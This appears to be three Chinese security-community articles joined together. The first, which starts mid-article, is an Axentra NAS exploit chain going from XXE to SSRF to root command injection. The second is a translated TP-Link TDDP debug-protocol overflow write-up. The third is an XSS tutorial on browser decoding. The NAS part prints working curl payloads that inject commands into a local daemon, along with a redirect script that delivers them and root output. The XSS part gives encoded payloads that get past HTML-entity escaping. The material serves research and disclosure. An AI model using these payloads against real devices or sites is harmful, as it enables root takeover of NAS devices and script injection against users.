然而查看整个源代码后，我们找不到任何可通过此方法利用的代码块。
前面提到Axentra代码编写得很好，变量经过适当初始化、使用和仔细检查，因此`register_globals`无法发挥作用。
当我们不断浏览源代码并转移到REST-API端点时，事情变得更加有趣，初始请求通过`RESTAPIController.php`进行路由，后者会从`/var/www/html/classes/REST`中加载适当的类，而服务类位于`/var/www/html/classes/REST/services`的各个文件夹中。
在查看服务时，大多数服务都经过了适当的身份验证，但有一些例外情况，其中包括文件系统中`/www/html/classes/REST/services/aggregator`的请求聚合器端点，以及来自Web
url的`/api/2.0/rest/aggregator/xml`。 我们将了解此服务的工作原理，分析我们如何利用该服务。
目录中的第一个文件是`AxAggregatorRESTService.php`。 此文件定义并构造rest服务。
每个服务目录中都存在相同结构的文件，其中不同的名称都以相同的`RESTService.php`后缀结尾。 在这个文件中有一些有趣的行（如下所示）。
请注意，行号可能不准确，因为文件已被解码，我们没有可以去删掉解码器生成的标题（每个文件开头的注释块加上随机中断）。
**突破点A**
：`/var/www/html/classes/REST/services/aggregator/AxAggregatorRESTService.php`
line 13: private $requiresAuthenticatedHipServUser = false; //This shows the service does not require authentication.
line 14: private $serviceName = 'aggregator'; //the service name..
...
line 17-18:
if (( count( $URIArray ) == 1 && $URIArray[0] == 'xml' )) { // If number of uri paths passed to the service is 1 and the first path to the service is xml
$resourceClassName = $this->loadResourceClass( 'XMLAggregator' ); // Load a resource class XMLAggregator
第18行的代码调用了名为`loadResourceClass`的一个函数，该由axentras
RESTAPI框架提供，并在添加适当的前缀（`Ax`）和后缀（`RESTResource.php`）后从当前的rest服务目录加载资源（服务处理程序）类/文件。
该功能的代码如下所示。
`classes/REST/AxAbstractRESTService.php`：
line 25-30:
function loadResourceClass($resourceName) {
$resourceClassName = 'Ax' . $this->resourcesClassNamePrefix . ucfirst( $resourceName ) . 'RESTResource';
require_once( REST_SERVICES_DIR . $this->serviceName . '/' . $resourceClassName . '.php' );
return $resourceClassName;
}
}
我们必须查看的下一个文件是`AxXMLAggregatorRESTResource.php`，它由REST框架加载和执行。 此文件定义了REST
API端点的功能，其中包含我们发现的第一个漏洞（XXE）。 我们来看看代码吧。
`/var/www/html/classes/REST/services/aggregator/AxXMLAggregatorRESTResource.php`：
line 14:
DOMDocument $mDoc = new DOMDocument(); //Intialize a DOMDocument loader class
line 16:
if (( ( ( $requestBody == '' || !$mDoc->loadXML( $requestBody, LIBXML_NOBLANKS ) ) || !$mRequestsNode = $mDoc->documentElement ) || $mRequestsNode->nodeName != 'requests' )) {
AxRecoverableErrorException;
throw new ( null, 3 );
}
如上所述，第16行表示用户加载xml而不进行验证。
现在大多数php程序员和安全研究人员都认为这不容易受到攻击，因为默认情况下libxml中禁用了外部实体加载，因为我们的代码没有调用`libxml_disable_entity_loader(false)`，但有一点需要注意的是Axentra固件使用libxml库来解析xml数据，libxml默认从libxml2版本2.9开始禁用外部实体加载，但Axentras固件2.6版本默认情况下并没有禁用加载外部实体，这会导致XXE攻击。我们可以使用以下请求测试XXE。
所使用的curl命令及输出分别如下：
命令：
curl -kd '<?xml version="1.0"?><!DOCTYPE requests [ <!ELEMENT request (#PCDATA)> <!ENTITY % dtd SYSTEM "http://SolarSystem:9091/XXE_CHECK"> %dtd; ]> <requests> <request href="/api/2.0/rest/3rdparty/facebook/" method="GET"></request> </requests>' http://axentra.local/api/2.0/rest/aggregator/xml
输出结果：
<?xml version="1.0"?>
<responses>
<response method="GET" href="/api/2.0/rest/3rdparty/facebook/">
<errors><error code="401" msg="Unauthorized"/></errors>
</response>
</responses>%
在监听服务器上可以看到如下结果：
root@Server:~# nc -lvk 9091
Listening on [0.0.0.0] (family 0, port 9091)
Connection from [axentra.local] port 9091 [tcp/*] accepted (family 2, sport 41528)
GET /XXE_CHECK HTTP/1.0
Host: SolarSystem:9091
^C
root@Server:~#
现在我们发现了XXE漏洞，我们可以尝试读取文件并尝试挖掘敏感信息，但最终我们想要完全实现远程控制。
第一个想法是提取包含所有用户名和密码的sqlite数据库，但事实证明此路不通，因为xxe和二进制数据不能很好地协同工作，即使使用php过滤器编码数据也不行。
由于这种方法需要Web界面中的另一个RCE才能完全控制设备，我们需要尝试新的东西。
由于我们可以从设备发出请求（SSRF），因此如果请求来自localhost（非常常见的问题，或者可以称之为功能？），我们可以借此尝试找到绕过身份验证的位置。
然而我们找不到任何突破口，所以我们进入NAS系统的内部，想澄清系统如何以root身份执行命令（特权操作）。
现在，如果Web服务器使用的用户标识具有某种sudo权限，则我们可能无法查看，但事实并非如此。
由于我们在最初粗略分析固件时就看到了这一点，因此我们知道系统会以另一种方式来执行命令。
经过几分钟的搜索，我们找到了一个守护程序，系统用它来执行命令并找到与此守护程序通信的php脚本。 我们将在下面详细分析。
对此守护程序的请求使用xml格式发送，该文件位于`/var/www/html/classes/AxServerProxy.php`中，该文件调用名为`systemProxyRequest`的函数来发送请求。
`systemProxyRequest`位于同一文件中，代码如下所示。
`/var/www/html/classes/AxServerProxy.php`：
line 1564-1688:
function systemProxyRequest($command, $operation, $params = array( ), $reqData = '') {
$Proc = true;
$host = '127.0.0.1';
$port = 2000;
$fp = fsockopen( $host, $port, $errno, $errstr );
if (!$fp) {
AxRecoverableErrorException;
throw new ( 'Could not connect to sp server', 4 );
}
if ($Proc) {
unset( $root );
DOMDocument;
$doc = new ( '1.0' );
$root = $doc->createElement( 'proxy_request' );
$cmdNode = $doc->createElement( 'command_name' );
$cmdNode->appendChild( $doc->createTextNode( $command ) );
$root->appendChild( $cmdNode );
$opNode = $doc->createElement( 'operation_name' );
$opNode->appendChild( $doc->createTextNode( $operation ) );
$root->appendChild( $opNode );
…
if ($reqData[0] == '<') {
if (substr( $reqData, 0, 5 ) == '<?xml') {
$reqData = preg_replace( '/<\?xml.*?\?>/', '', $reqData );
}
DOMDocument;
$reqDoc = new ( );
$reqData = str_replace( '', '', $reqData );
$reqDoc->loadXML( $reqData );
$mNewNode = $doc->importNode( $reqDoc->documentElement, true);
$dNode->appendChild( $mNewNode );
}
….
$root->appendChild( $dNode );
}
if ($root) {
$doc->appendChild( $root );
fputs( $fp, $doc->saveXML( ) . '' );
}
$Resp = '';
stream_set_timeout( $fp, 120 );
while (!feof( $fp )) {
$Resp .= fread( $fp, 1024 );
$info = stream_get_meta_data( $fp );
if ($info['timed_out']) {
return array( 'return_code' => 'FAILURE', 'description' => 'System Proxy Timeout', 'error_code' => 4, 'return_message' => '', 'return_value' => '' );
}
}
如上所述，该函数接受xml数据并清除像空格符之类的东西，并将其发送到在本地2000端口上监听的守护进程。 守护程序位于`/sbin/oe-spd`，是一个二进制文件，因此我们使用IDA查看它，以下代码片段由IDA中的Hex-Rays反编译器生成。
在函数`sub_A810`中：
该函数将来自socket的数据作为参数（`a2`），解析该数据。
**突破点B** ：
signed int __fastcall sub_A810(int a1, const char **a2) line 52:
v10 = strstr(*v3, "<?xml version=\"1.0\"?>"); // strstr skips over junk data until requested string is found (<?xml version=1.0 ?>)
上面这一行对我们来说很重要，主要是因为请求是通过HTTP协议发送的，因此守护进程会跳过垃圾数据，允许我们将有效负载嵌入到发往<http://127.0.0.1:2000的http请求中（>
守护进程端口），并且不用去担心由于未知字符而导致的格式化；这与xml之后的垃圾数据享受同样的待遇。
现在，我们直接跳过了`oe-spd`守护程序整个代码，不去分析具体工作流程，这主要是因为我们的目标是找到并利用一个简单的RCE错误，我们需要测试一些我们可以实现的方法。我们手头上掌握来自`AxServerProxy.php`的消息格式和一些来自`usr/lib/spd/scripts/`的消息格式。
我们用来查找RCE的方法是通过curl发送请求，并在qemu环境中运行时使用strace来跟踪进程，这有助于我们使用正确的参数过滤掉`execve`调用，以便作为攻击负载。
这里需要注意的是，在这个守护进程中有很多易受攻击的函数，但在下面我们只展示了我们用来实现RCE的函数。
如果感兴趣，大家可以使用我们上面给出的提示来探索守护进程。
我们使用的curl命令及响应如下所示：
curl -vd '<?xml version="1.0"?><proxy_request><command_name>usb</command_name><operation_name>eject</operation_name><parameter parameter_name="disk">BOGUS_DEVICE</parameter></proxy_request>' http://127.0.0.1:2000/
* Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to 127.0.0.1 (127.0.0.1) port 2000 (#0)
> POST / HTTP/1.1
> Host: 127.0.0.1:2000
> User-Agent: curl/7.61.1
> Accept: */*
> Content-Length: 179
> Content-Type: application/x-www-form-urlencoded
>
* upload completely sent off: 179 out of 179 bytes
<?xml version="1.0"?>
<proxy_return>
<command_name>usb</command_name>
<operation_name>eject</operation_name>
<proxy_reply return_code="SUCCESS" description="Operation successful" />
</proxy_return>
strace命令及输出结果如下：
sudo strace -f -s 10000000 -q -p 2468 -e execve
[pid 2510] execve("/usr/lib/spd/usb", ["/usr/lib/spd/usb"], 0x63203400 /* 22 vars */ <unfinished ...>
[pid 2511] +++ exited with 0 +++
[pid 2510] <... execve resumed> ) = 0
[pid 2513] execve("/bin/sh", ["sh", "-c", "/usr/lib/spd/scripts/usb/usbremoveall /dev/BOGUS_DEVICE manual"], 0x62c67f10 /* 22 vars */ <unfinished ...>
[pid 2514] +++ exited with 0 +++
[pid 2513] <... execve resumed> ) = 0
[pid 2513] execve("/usr/lib/spd/scripts/usb/usbremoveall", ["/usr/lib/spd/scripts/usb/usbremoveall", "/dev/BOGUS_DEVICE", "manual"], 0x62a65800 /* 22 vars */ <unfinished ...>
[pid 2515] +++ exited with 0 +++
[pid 2513] <... execve resumed> ) = 0
[pid 2517] execve("/bin/sh", ["sh", "-c", "grep /dev/BOGUS_DEVICE /etc/mtab"], 0x63837f80 /* 22 vars */ <unfinished ...>
[pid 2518] +++ exited with 0 +++
[pid 2517] <... execve resumed> ) = 0
[pid 2517] execve("/bin/grep", ["grep", "/dev/BOGUS_DEVICE", "/etc/mtab"], 0x64894000 /* 22 vars */ <unfinished ...>
[pid 2519] +++ exited with 0 +++
[pid 2517] <... execve resumed> ) = 0
[pid 2520] +++ exited with 1 +++
[pid 2517] +++ exited with 1 +++
[pid 2513] --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=2517, si_uid=0, si_status=1, si_utime=4, si_stime=3} --- [pid 2516] +++ exited with 1 +++
[pid 2513] +++ exited with 1 +++
[pid 2510] --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=2513, si_uid=0, si_status=1, si_utime=16, si_stime=6} --- [pid 2512] +++ exited with 0 +++
[pid 2510] +++ exited with 0 +++
[pid 2508] --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=2510, si_uid=0, si_status=0, si_utime=4, si_stime=1} --- [pid 2509] +++ exited with 1 +++
[pid 2508] +++ exited with 1 +++
命令执行漏洞在这里清晰可见，除非你没有注意到这个信息。其实就在strace输出中的第4行，显示输入（BOGUS_DEVICE）被传递给`/bin/sh`调用，现在我们发送一个测试注入，来查看我们的命令执行是否有效。
curl命令及输出结果如下所示：
curl -vd '<?xml version="1.0"?><proxy_request><command_name>usb</command_name><operation_name>eject</operation_name><parameter parameter_name="disk">`echo pwnEd`</parameter></proxy_request>' http://127.0.0.1:2000/
<?xml version="1.0"?>
<proxy_return>
<command_name>usb</command_name>
<operation_name>eject</operation_name>
<proxy_reply return_code="SUCCESS" description="Operation successful" />
</proxy_return>
Strace的输出结果如下：
[pid 2550] execve("/usr/lib/spd/usb", ["/usr/lib/spd/usb"], 0x63203400 /* 22 vars */ <unfinished ...>
[pid 2551] +++ exited with 0 +++
[pid 2550] <... execve resumed> ) = 0
[pid 2553] execve("/bin/sh", ["sh", "-c", "/usr/lib/spd/scripts/usb/usbremoveall /dev/`echo pwnEd` manual"], 0x6291cf10 /* 22 vars */ <unfinished ...>
…
如果仔细查看输出，可以看出我们在反引号中给出的`echo pwnEd`命令已被执行，输出被用作后续命令的一部分。
为了使这个PoC更简单，我们只需在`/tmp`中写一个文件，看看它是否存在于设备中即可。
curl -vd '<?xml version="1.0"?><proxy_request><command_name>usb</command_name><operation_name>eject</operation_name><parameter parameter_name="disk">dev_`id>/tmp/pwned`</parameter></proxy_request>' http://127.0.0.1:2000/
…
现在我们已经用有完整的命令执行权限。
为了将这个错误与我们的XXE和SSRF联系起来，我们必须让xml解析器使用载荷向<http://127.0.0.1:2000/发送请求。>
虽然向守护程序发送正常的http请求不是问题，但是当我们尝试将载荷附加为xml文件中的url位置时，解析器失败并出现错误（无效的URL），所以我们不得不改变我们的方法。
在几次尝试失败后，我们发现libxml
http客户端正确遵循了301/2重定向，这样就不会使解析器失败，因为重定向中给出的url不会由与xml数据中的初始url相同的解析器来处理，所以
我们创建了一个小的php脚本，将libxml
http客户端重定向到<http://127.0.0.1:2000/，并将载荷嵌入为url路径。该脚本如下所示。>
`redir.php`：
<?php
if(isset($_GET['red']))
{
header('Location: http://127.0.0.1:2000/a.php?d=<?xml version="1.0"?><proxy_request><command_name>usb</command_name><operation_name>eject</operation_name><parameter parameter_name="disk">a`id>/var/www/html/html/pwned.txt`</parameter></proxy_request>""'); //302 Redirect
}
?>
然后在服务器上运行载荷，所使用的命令及最终输出如下所示。
curl命令及输出结果如下：
curl -kd '<?xml version="1.0"?><!DOCTYPE requests [ <!ELEMENT request (#PCDATA)> <!ENTITY % dtd SYSTEM "http://SolarSystem:9091/redir.php?red=1"> %dtd; ]> <requests> <request href="/api/2.0/rest/3rdparty/facebook/" method="GET"></request> </requests>' http://axentra.local/api/2.0/rest/aggregator/xml
<?xml version="1.0"?>
<responses>
<response method="GET" href="/api/2.0/rest/3rdparty/facebook/">
<errors><error code="401" msg="Unauthorized"/></errors>
</response>
</responses>%
root@Server:~# php -S 0.0.0.0:9091
PHP 7.0.32-0ubuntu0.16.04.1 Development Server started at Thu Nov 1 16:02:16 2018
Listening on http://0.0.0.0:9091
Document root is /root/...
Press Ctrl-C to quit.
[Thu Nov 1 16:02:43 2018] axentra.local:39248 [302]: /redir.php?red=1
如上所示，php脚本向libxml
http客户端发送了302（Found）响应，该客户端应将其重定向到`http://127.0.0.1:2000/a.php?d=<?xml
version="1.0"?><proxy_request><command_name>usb</command_name><operation_name>eject</operation_name><parameter
parameter_name="disk">a`id>/var/www/html/html/pwned.txt`</parameter></proxy_request>""`。
上面的重定向应该会执行我们的注入命令，并在webroot中创建一个`pwned.txt`文件，内容为`id`命令的输出结果，可以使用如下请求检查输出和文件是否存在。
curl命令及输出结果如下：
curl -k http://axentra.local/pwned.txt
uid=0(root) gid=0(root)
非常好！ 我们的`pwned.txt`已经成功创建，漏洞利用成功了。
我们有一个演示视频，展示从XXE到SSRF到RCE的完整漏洞利用链，最终创建了反向root shell。 我们很快就会发布视频和漏洞利用代码。
## 0x03 时间线
这项研究是我们研究更多NAS设备的基础（例如WD MyBook），我们借此发现了多个关键的root
RCE漏洞，这些漏洞最终影响了来自西方国家的数百万台设备，这些漏洞发布在我们在WizCase博客上发布的[研究成果](https://www.wizcase.com/blog/hack-2018/)中。
不幸的是，受影响的Axentra甚至是WD都选择了沉默。 有些人士回应声称这个影响数百万的漏洞不会有任何补丁。
在不久的将来，加利福尼亚消费者隐私权法案等法律的强制生效可以让制造商对其行为负责，在这种情况下，至少在漏洞修补方面我们能更有保障。 | 社区文章 |
# 【技术分享】一个针对TP-Link调试协议（TDDP）漏洞挖掘的故事
|
##### 译文声明
本文是翻译文章，文章来源：coresecurity
原文地址：<https://www.coresecurity.com/blog/story-about-tp-link-device-debug-protocol-tddp-research>
译文仅供参考，具体内容表达以及含义原文为准。
**翻译：**[ **backahasten**](http://bobao.360.cn/member/contribute?uid=245645961)
**稿费：200RMB（不服你也来投稿啊！）**
**投稿方式：发送邮件至linwei#360.cn，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投稿**
**前言**
我写这篇文章原本是为了简化WiFi渗透测试研究工作。我们想使用去年由Core
Security发布的WIWO，它可以在计算机网络接口和WiFi路由器之间建立一个透明的通道。
研究的第一步，就是选取一个合适的工具， 在此研究中，我会首先选择一个适当的路由器进行改造。
经过一段时间的考察，我选择了TP-Link的TL-WA5210g无线路由器，它允许安全自定义固件，（这样我就能安装之前提到的工具），同时，他也是一个室外路由器（最初的设计就是如此）。
我首先发现了一个问题，我所购买的路由器的硬件版本（2.0版本）和可以自定义固件的版本不符，这样安装WIWO的时候可能就会有麻烦。我也读了一些博客，有时候虽然硬件版本不同，但是固件可以相同。不幸的是，我手里的设备不可以。设备的硬件和固件版本是配套的，我也没发现降级固件的办法，（TL-WA5210G_V2_140523）当我尝试使用Web界面降级的时候，发生了错误。
**使用串口**
我暂时放下了最开始的目标，转而，我试图发现一种方法来控制设备，安装我所需要的软件。我的第一个方法是使用UART串口通信的方法，我把UART的引脚焊接上排针，使用Bus
Pirate（我的选择）或类似的东西把他连接到电脑，看看我能做什么。（这一步需要拆开外壳，在绿色的电路板上操作）
连接到UART串口之后，我发现了一个可以运行有限命令的控制台，它的一些选项被禁用了，比如第一个和第二个。
source:
[https://forum.openwrt.org/viewtopic.php?id=17252&p=6](https://forum.openwrt.org/viewtopic.php?id=17252&p=6)
我尝试了其他不同的数字和字母，希望找到隐藏功能，虽然我发现了一些，但是没发现对我有用的。
第二种方法是分析web程序，我发现很多UART控制台也可以从web界面的菜单中进入，这在OpenWRT的wiki中有介绍。对于我手中的设备，我发现了隐藏的菜单：
<http://192.168.1.254/userRpm/NatDebugRpm26525557.htm>
**发现漏洞**
在上一步发现的隐藏菜单中，有很多按钮，他们显示了设备很多有趣的信息。有一个默认开启的UDP端口引起了我的注意。
做了一些研究之后，我了解到了这个UDP端口上运行的协议：
<https://www.google.com/patents/CN102096654A?cl=en>
TDDP是一个用于调试的简单协议，这个协议使用一个数据包，在载荷中使用不同的消息类型来完成请求或者命令的传递。下面的图片是TDDP的数据包信息。
我还发现文档中记录了其他一些消息类型。如果想从设备中获得一些有关设备状态的信息，调试信息是十分有用的。我想知道我到底可以做什么，于是我从TP-Link的官网下载了它的固件。
下载完成之后，我使用IDA
开始搜索有关于与实现协议的代码，来确定文档中的协议是如何在固件中实现的。我已经找到了第二版协议的说明，但是，通过逆向我发现他和第一版是有差别的。
由于没有第一版协议的说明，我决定逆向协议处理部分的程序，了解二者的主要差异。虽然包的结构相似，但是，我还是发现了一些重要区别：第一版不支持身份验证和对数据包载荷的加密，而第二版要求身份验证和加密。
分析V1版的处理程序，我发现V2的一些处理程序也出现在V1里，他们是set_configuration, get_configuration 和
set_macaddr。
1.set_configuration用来设施设备配置
2.get_configuration用来获取设备配置
基于我目前所知道的，我已经准备好写一个实现TDDP
V1协议最小功能的Python脚本，我首先将注意力集中在get_configuration请求上，希望可以收集我所需要的信息。
使用脚本发送数据包之后，硬件的返回看似关键值配置文件。阅读这个文件，我们竟然发现了账号和密码。（我们在读取配置信息的时候没有要求身份验证）
虽然很有趣，但是我们还只是拿到了设备的配置文件。我们依然离我们的目标——安装一个自定义的固件相去甚远，而这才是我真正想做的。再次阅读文档，我想一个旨在调试的协议很可能有很多问题出现。我继续逆向处理程序的其他部分，几个小时后，当我在深入研究set_configuration的时候，我发现了一个类strcpy风格的函数，导致了一个简单的溢出漏洞。
经过初步的分析，我发现利用这个漏洞的shellcoder有一些限制，例如，不能出现0或者空格。
通过这个漏洞，我可以劫持TDDP服务的执行流，指向自己的代码，然后在更新功能上打上补丁，允许安装我自己需要的固件（包括旧版本）。
影响工作的主要问题就是设备中没有调试器，由于某些奇怪的原因，UART引脚也不工作了，我也不知道是为什么>_>。我可以从设备中获得的唯一信息就是PC寄存器的值和SP寄存器的值，他们在之前发现的web隐藏功能中。
下面的图片显示了进程列表是什么样子的，可以清楚的看见PC和SP的值。
我准备使用“跳转调试”的方法写一个漏洞利用脚本，执行成功或者失败，jmp指令就会使PC跳转到不同的位置。
下面的图片是使用这种方法操作pc指针的例子：
在这个例子中，文件描述符（0xa）被载入了寄存器，之后jmp指令被执行，这证明了这个寄存器控制着我们所需要的值。
**设计漏洞利用代码**
几天之后，利用之前描述的细节，我已经可以使用ROP
技术通过gadgets控制PC寄存器了，但是，当我准备让他运行我自己的代码的时候（我考虑了前面提到的限制因素），却失败了。
我之前从来没有写过MIPS架构的漏洞利用代码，在读过一篇文章【1】之后，我知道了为什么失败了，原因是MIPS的cache没有被刷新(此处涉及MIPS架构中“缓存一致性”处理—译者注)，所以，写入的shellcoder是不能使用的，博客中所介绍的，解决该问题的办法是调用sleep（）函数清除cache，但是在我的情况下，固件没有符号，识别sleep函数很难，为此，我开始学习MIPS的cache是如何工作的，我怎样可以清除它。
阅读这篇文章【2】让我知道MIPS的cache是双重的。
一个是数据cache（D-cache），另外一个是指令cache（I-cache），清除这两个cache的过程是：首先，设置协处理器的TagLi和TagHi为0，之后调用指令
“cache 8, 0($a0)”（清除I-cache）和指令“cache 9, 0($a0)”（清除D-cache）。
查看整个固件，我发现了一个函数的作用正是我想要的。（可能是用来初始化）
我发现这个代码有一个小问题。
像固件中其他函数返回时一样，这个函数使用了jr $ra.作为结尾，$ra寄存器中的值是在这个函数被jalr调用时设置的，例如，你可以这样调用foo函数：
$ra寄存器的作用是为了确定返回地址。在这个例子中，返回命令使用jr，因为，和jalr指令相反，jr指令不设置$ra寄存器。
通常的解决方法是使用ROP
链（或者对于MIPS架构来说，说成JOP更好），设置$ra寄存器的值（例如0x12345678），然后接下来调用函数跳转到0x8016B910(cache清除函数)，这个函数会清除cache，接下来就可以调用自己的函数了（例如0x12345678）.
问题是$ra寄存器只会在函数结尾被设置，就像这样。
前面的图片就是函数结尾，在这里，你可以看到，从栈中获得数值后，$ra寄存器用来返回调用者，如果我把它设置为0x8016b910（清除cache），我会失去控制，因为这会形成一个无线循环。
那么，怎么办？
我想到当I-cache被清除之后，新的指令会立刻被设置，这意味着我可以修改清除函数 (0x8016B910) 的结尾，用一下指令代替 “jr $ra ”
“jr $fp” (或者相似的)，使用这种方法，我可以清除cache并且跳转进我的shellcoder。
下面显示了函数指令在攻击前后的变化;
最后，shellcoder的作用是在代码中打上补丁，再调用指令激活补丁，关闭固件检查。
和@_topo谈话之后，他建议我读关于MIPS的段布局，我之后发现可以使用kseg1 ，不适用kseg0，这样的话，MIPS的cache就可以避开
(http://cdn.imgtec.com/mips-training/mips-basic-training-course/slides/Me…)。我没有尝试。
**后记**
首先是一个好消息，这个服务不可能从广域网连接到，实际上，连接到wifi都无法访问，所以需要使用有线连接。第二，这个固件版本是2014年的。然而，在那时，这个固件是这个设备的最新版本。可悲的是，使用这个设备的人很多都没有升级。
对于其他TP-Link设备有很多新的固件，我们安装了适配于TL-MR3020的最新固件（2015年发布），这个服务依然存在，默认在监听端口。第一版的协议代码依然存在于这个固件中，虽然第一版的部分指令被删除（例如，获取配置文件的代码被删除了），我们不能确定新版是否存在我们发现的漏洞。我们需要研究。虽然我们没有设备测试，但是，通过静态分析2016年的固件，相同的情况还是存在的。
根据攻击的方案和设备的配置（再说一遍，WiFi连接和公网上无法访问这个服务），这个漏洞的最大作用可能就是允许攻击者更改路由器固件（可能包含持久性的后门），使他
可以从网络上获取信息。
**结论**
人们关注嵌入式安全已经有一段时间了，我们通常不会花很多时间关注所有常见的问题。
在无需身份确认的条件下，就可以访问一个默认开启的调试协议，是很糟糕的事情，厂家应该注意到这一点。通过上述的研究，我们可以发现，内存溢出漏洞很常见。成熟的安全防护方法也应该被应用于嵌入式中。例如，现在MIPS设备支持XI(Execute
Inhibit）技术，他就和英特尔的NX技术相似，作用是阻止执行用户输入的数据。实际上，开发中也应该采用正确的方法，例如源码审计和渗透测试。
**参考链接**
【1】<http://www.devttys0.com/2012/10/exploiting-a-mips-stack-overflow/>
【2】<http://cdn.imgtec.com/mips-training/mips-basic-training-course/slides/Caches.pdf> | 社区文章 |
## 浏览器解码看XSS
### 浏览器解码规则
浏览器无论什么情况都会遵守一个这样的解码规则：
* HTML解析器对HTML文档进行解析完成HTML解码并且创建DOM树
* javascript 或者 CSS解析器对内联脚本进行解析，完成JS CSS解码
* URL解码会根据URL所在的顺序不同而在JS解码前或者解码后
### HTML编解码
#### HTML解析器
HTML中有五类元素：
1. 空元素(Void elements)，如`<area>`,`<br>`,`<base>`等等
2. 原始文本元素(Raw text elements)，有`<script>`和`<style>`
3. RCDATA元素(RCDATA elements)，有`<textarea>`和`<title>`
4. 外部元素(Foreign elements)，例如MathML命名空间或者SVG命名空间的元素
5. 基本元素(Normal elements)，即除了以上4种元素以外的元素
五类元素的区别如下：
1. 空元素，不能容纳任何内容（因为它们没有闭合标签，没有内容能够放在开始标签和闭合标签中间）。
2. 原始文本元素，可以容纳文本。
3. RCDATA元素，可以容纳文本和字符引用。
4. 外部元素，可以容纳文本、字符引用、CDATA段、其他元素和注释
5. 基本元素，可以容纳文本、字符引用、其他元素和注释
HTML解析器作为一个状态机，它从输入流中获取字符并按照转换规则转换到另一种状态。在解析过程中，任何时候它只要遇到一个`<`符号（后面没有跟`/`符号）就会进入“标签开始状态(Tag
open state)”。然后转变到“标签名状态(Tag name state)”，“前属性名状态(before attribute name
state)”……最后进入“数据状态(Data state)”并释放当前标签的token。当解析器处于“数据状态(Data
state)”时，它会继续解析，每当发现一个完整的标签，就会释放出一个token。
举个栗子：
存在`<h1>hhhhhhhh</h1>` ,首先状态机吃下`<` 进入标签开始状态然后转变到标签名状态开始匹配标签
当吃进去`/>`标签的时候进入标签结束状态然后进入`Data state`状态
一般来说HTML编码需要在`Data State` 状态下进行
例如如果存在`<h1>hhhhh</h1>` 那么就无法解析这个编码
但是如果是`<h1>hhhhhhhhh</h1>` 却能够正确成功的解析
HTML状态机可容纳`RCDATA`状态中的字符引用，这意味着在`<textarea>`和`<title>`标签中的字符引用会被HTML解析器解码，对`RCDATA`有个特殊的情况。在浏览器解析`RCDATA`元素的过程中，解析器会进入`“RCDATA状态”`。在这个状态中，如果遇到`<`字符，它会转换到RCDATA小于号状态。如果`<`字符后没有紧跟着`/`和对应的标签名，解析器会转换回`RCDATA状态`。这意味着在`RCDATA`元素标签的内容中（例如`<textarea>`或`<title>`的内容中），唯一能够被解析器认做是标签的就是`</textarea>`或者`</title>`。当然，这要看开始标签是哪一个。因此，在`<textarea>`和`<title>`的内容中不会创建标签，不会有脚本执行。
在建立好DOM语法树之后浏览器开始进行一个url或者js解码
意味着你如果在JS标签中使用HTML实体编码是没有用的
例如：`<script>alert('1')</script>`
但是如果存在代码`<svg><script>alert(1)</script>` 就能够弹窗了
原因是`<svg>`遵循XML和SVG的定义。
我们知道，在XML中，`(`会被解析成`（`
那么对于`<svg>`而言同样遵守XML的规则进行解析
* 在XML中实体会自动转义,除了<![CDATA[和]]>包含的实体
师傅的总结：<https://www.hackersb.cn/hacker/85.html>
### javascript编解码
说完了解码的第一步，接下来就是JS解码或者URL解码
JS编码的规则相对来说比较严谨，它对除了阿拉伯数字和字母外的东西都进行了一个编码
最常用的如`\uXXXX`这种写法为`Unicode`转义序列，表示一个字符，其中xxxx表示一个16进制数字，如`<`
Unicode编码为`\u003c`。
如果有代码`<img src="1" onerror=\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029>`
但是无法执行？？？
我们以浏览器的视角来看：首先读到`<`开始读取标签，然后读到`onerror`调用js解析器。在js中，
**单引号，双引号和圆括号等属于控制字符，编码后将无法识别。所以对于防御来说，应该编码这些控制字符** 。下面这种方式可以解析。
`<img src="1" onerror=\u0061\u006c\u0065\u0072\u0074('\u0031')>`
这里我们想是否可以结合上面的HTML编码呢？
我们按照他的顺序反过去，先JS编码然后HTML解码
`<img src="1"
onerror=\u0061\u006c\u0065\u0072\u0074('\u0031')>`
浏览器读到了`<`标签开始构造语法树，然后HTML解码，解码之后发现`onerror`于是进行一个JS解码
成功弹窗
这一性质可以延伸到开发人员的一个马虎
比如开发人员单纯的设置HTML实体编码为防御xss的手段，但是用户输入点确实在alert中
`<img src = "https://text.com" onclick = 'alert(输入点)'>`
如果用户正常输入的话凡是存在`<` ,`"` 等都能被转码
但是攻击者可以通过语句`");alert("test` 然后HTML编码即可绕过
`<img src = "https://gss1.bdstatic.com" onclick = 'alert("FIRST XSS |
");alert("test")'>`
发现弹窗了两次,是因为服务端进行一个HTML解码发现存在两个`alert()`弹窗于是直接弹
所以对于这种情况，正确防御XSS的方法
应该是先javascript编码然后再进行HTML编码
对于服务器而言它看到的内容应该是
1、首先
\u0027\u0029\u003b\u0061\u006c\u0065\u0072\u0074\u0028\u0027\u0053\u0052\u0043
经过第一步HTML解码后变为`\u0027\u0029\u003b\u0061\u006c\u0065\u0072\u0074\u0028\u0027\u0053\u0052\u0043`
2、JavaScript解析器工作，`\u0027\u0029\u003b\u0061\u006c\u0065\u0072\u0074\u0028\u0027\u0053\u0052\u0043`变为`');alert('SRC`，刚才已经讲过JavaScript解析时只有标识符名称不会被当做字符串，控制字符仅会被解析为标示符名称或者字符串，因此`\u0027`被解释成单引号文本，`\u0028`和`\u0029`被解释成为圆括号文本，不会变为控制字符被解析执行。
在这里采用的先JS编码后HTML编码中只弹窗了一次。
### URL编解码
讨论URL编码我们采用新的语句
`<a href = "javascript:alert(3)">hhhhh<a>`
在这里我们以浏览器视角来看
浏览器看到`<`满足HTML解码的条件，然后看到`href` 满足了URL编码额条件，最后看到`javascript`满足JS 解码的条件
作为攻击者我们应该反过来首先进行一个JS编码
`<a href="javascript:\u0061\u006c\u0065\u0072\u0074(3)">hhhhhh</a>`
然后进行一个URL编码
`<a
href="javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(3)">hhhhhh</a>`
最后进行一个HTML编码
<a href="javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(3)">hhhhhh</a>
有师傅提供了其他的例子：
`<a onclick="window.open('value1')" href="javascript:window.open(value2)">`
